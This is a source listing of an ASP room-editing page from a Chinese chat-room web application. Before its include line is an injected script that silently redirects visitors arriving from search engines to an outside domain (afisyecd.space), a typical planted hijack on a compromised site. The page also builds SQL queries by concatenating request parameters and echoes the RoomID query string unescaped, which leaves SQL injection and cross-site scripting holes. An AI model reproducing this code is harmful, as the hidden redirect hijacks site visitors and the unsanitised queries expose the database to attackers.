d:\wwwroot\wuchunhua\liaotianim\EditRoom.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/DAL.asp"-->
002:
<%
003:
On Error Resume Next
004:
005:
if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006:
007:
008:
Dim ConfigRS
009:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
010:
if request.form("Method")="ED" then
011:
ConfigRS.OPEN "select * from [XK_Room] where [Room_ID]="&request.form("Room_ID") , DB_CONN , 1 , 3
012:
ConfigRS("Room_Name")=request.form("Room_Name")
013:
ConfigRS("Room_SmallNote")=request.form("Room_SmallNote")
014:
ConfigRS("Room_Notice")=request.form("Room_Notice")
015:
ConfigRS("IsLock")=request.form("IsLock")
016:
ConfigRS("Room_Pic")=request.form("Room_Pic")
017:
ConfigRS("IsVIP")=request.form("IsVIP")
018:
ConfigRS("Room_MaxNum")=request.form("Room_MaxNum")
019:
ConfigRS.update()
020:
for i=0 to (ConfigRS.Fields.count-1)
021:
Application.Lock()
022:
Application.contents("Rooms_"+request.form("Room_ID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
023:
Application.Unlock()
024:
next
025:
ConfigRS.close()
026:
RW "<script>alert('修改成功!');location.href='MyRoomList.asp';</script>":response.end()
027:
end if
028:
029:
030:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&request("RoomID"))
031:
if Trim(Cstr(ConfigRS("Room_Admin_UserID")))<>Cstr(Session(Session_UserID_Arg)) then
032:
RW "<script>alert('你不是该房间管理员!请不要尝试非法操作!');location.href='MyRoomList.asp';</script>":response.end()
033:
end if
034:
%
>
035:
036:
<html>
037:
<head>
038:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
039:
<title>iCenter -
<%
=SysConfig("System_Name")
%
></title>
040:
<meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
041:
<meta name="description" content="ImChat V1.5 Power By XKnet.net">
042:
<link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
043:
<link href="system_manage/styles/applyroom.css" rel="stylesheet" type="text/css" />
044:
<style>
045:
*{font-family:"微软雅黑";}
046:
.body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
047:
.btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
048:
.btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
049:
.inputbox{height:26px;}
050:
.leftnav li{text-align:center;}
051:
.leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
052:
.leftnav li a:hover{background-position:bottom left;}
053:
.UserInfo{background: url(images/userinfo.png) no-repeat top left;}
054:
.UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
055:
.UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
056:
.title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;line-height:18px;color:#555;}
057:
.title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
058:
.UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
059:
.photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
060:
.line{clear:both;line-height:5px;height:5px;}
061:
.text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
062:
.itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
063:
textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;}
064:
select{height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
065:
.radio{}
066:
.btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
067:
068:
069:
.RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
070:
.RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
071:
.btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
072:
.btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
073:
.inputbox{height:26px;}
074:
.png{}
075:
076:
div{border:#ccc solid 0px;}
077:
</style>
078:
</head>
079:
<body>
080:
<table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
081:
<tr height="70px">
082:
<td style="text-align:center;"><div class="top">
083:
<div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
084:
<a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
085:
<a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
086:
<a href="RoomList.asp" title="房间列表" class="RList"></a>
087:
<a href="Member.asp" title="用户中心" class="user"></a>
088:
<a href="Pay.asp" title="充值" class="pay"></a>
089:
</div>
090:
</div></td>
091:
</tr>
092:
<tr>
093:
<td valign="top">
094:
<div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
095:
<ul class="leftnav">
096:
<li><a href="Member.asp" title="我的资料" class="png UserInfo"></a></li>
097:
<li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
098:
<li><a href="#" title="我的好友" class="png UserFriend"></a></li>
099:
</ul>
100:
</div>
101:
<div style="float:left;width:4%;text-align:center;">
102:
<div style="width:100%;margin:0 auto;">
103:
<div class="title png">
104:
<span class="png">房间编辑</span>
105:
</div>
106:
</div>
107:
</div>
108:
<div style="float:left;width:78%;text-align:center;">
109:
<div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
110:
111:
<div class="RoomList">
112:
<form action="#" method="post" >
113:
<table width="100%" cellpadding="0" cellspacing="0" border="0">
114:
<tr>
115:
<td width="350">
116:
<label for="Room_Name"><strong>房间名称:</strong></label>
117:
<input type="text" id="Room_Name" name="Room_Name" class="inputbox" maxlength="8" value="
<%
=ConfigRS("Room_Name")
%
>"/>
118:
</td>
119:
<td>
120:
<label for="Room_SmallNote"><strong>房间简介:</strong></label>
121:
<input type="text" id="Room_SmallNote" name="Room_SmallNote" class="inputbox" value="
<%
=ConfigRS("Room_SmallNote")
%
>" maxlength="8"/>
122:
</td>
123:
</tr>
124:
<tr>
125:
<td width="350">
126:
<label for="IsVip"><strong>特权房间:</strong></label>
127:
<select id="IsVip" name="IsVip">
128:
<option value="0"
<%
if Cstr(ConfigRS("IsVip"))="0" then RW "selected=""selected"""
%
>>普通</option>
129:
<option value="1"
<%
if Cstr(ConfigRS("IsVip"))="1" then RW "selected=""selected"""
%
>>VIP</option>
130:
</select>
131:
</td>
132:
<td>
133:
<label for="Room_MaxNum"><strong>额定人数:(0为无限)</strong></label>
134:
<input type="text" id="Room_MaxNum" name="Room_MaxNum" class="inputbox" value="
<%
=ConfigRS("Room_MaxNum")
%
>" maxlength="4"/>
135:
</td>
136:
</tr>
137:
<script>
138:
function CPic(e)
139:
{
140:
document.getElementById("DisPic").src="../"+e.value;
141:
}
142:
</script>
143:
<tr>
144:
<td width="350">
145:
<label for="Room_Pic"><strong>房间图片:</strong></label>
146:
<select id="Room_Pic" name="Room_Pic" onchange="CPic(this);">
147:
<option value="images/roompic/0.png">默认</option>
148:
<%
149:
for i=1 to 9
150:
dim selected:selected=""
151:
if ConfigRS("Room_Pic")="images/roompic/"&i&".jpg" then selected="selected=""selected"""
152:
RW "<option value=""images/roompic/"&i&".jpg"" "&selected&">"&i&"</option>"
153:
next
154:
%
>
155:
</select>
156:
</td>
157:
<td>
158:
<img id="DisPic" src="
<%
=ConfigRS("Room_Pic")
%
>" width="100" />
159:
</td>
160:
</tr>
161:
<tr>
162:
<td colspan="2">
163:
<label for="IsLock"><strong>状态:</strong></label>
164:
<select id="IsLock" name="IsLock">
165:
<option value="0"
<%
if Cstr(ConfigRS("IsLock"))="0" then RW "selected=""selected"""
%
>>正常</option>
166:
<option value="1"
<%
if Cstr(ConfigRS("IsLock"))="1" then RW "selected=""selected"""
%
>>锁定</option>
167:
</select>
168:
</td>
169:
</tr>
170:
<tr>
171:
<td colspan="2">
172:
<label for="Room_Notice"><strong>房间公告:</strong></label>
173:
<textarea id="Room_Notice" name="Room_Notice" rows="5" cols="100" style="width:680px;">
<%
=ConfigRS("Room_Notice")
%
></textarea>
174:
</td>
175:
</tr>
176:
<tr>
177:
<td colspan="2">
178:
<input type="hidden" value="ED" name="Method"/>
179:
<input type="hidden" value="
<%
=request.QueryString("RoomID")
%
>" name="Room_ID"/>
180:
<input type="submit" value="提交" class="btn" />
181:
</td>
182:
</tr>
183:
</table>
184:
</form>
185:
</div>
186:
187:
</div>
188:
</div>
189:
</td>
190:
</tr>
191:
</table>
192:
<!--[if IE 6]>
193:
<script type='text/javascript' src='js_Custom/DD_belatedPNG_0.0.8a-min.js'></script>
194:
<script type='text/javascript'>
195:
DD_belatedPNG.fix('.png');
196:
</script>
197:
<![endif]-->
198:
<div style="visibility:hidden;display:none;">
199:
<script type="text/javascript" src="js/ext-base.js"></script>
200:
<script type="text/javascript" src="js/ext-all-debug.js"></script>
201:
<img src="images/logo.gif">
202:
<img src="images/dgbg.jpg">
203:
<img src="css/ext-all.css">
204:
<img src="css_custom/layout.css">
205:
<div>
206:
</body>
207:
</html>
208:
209: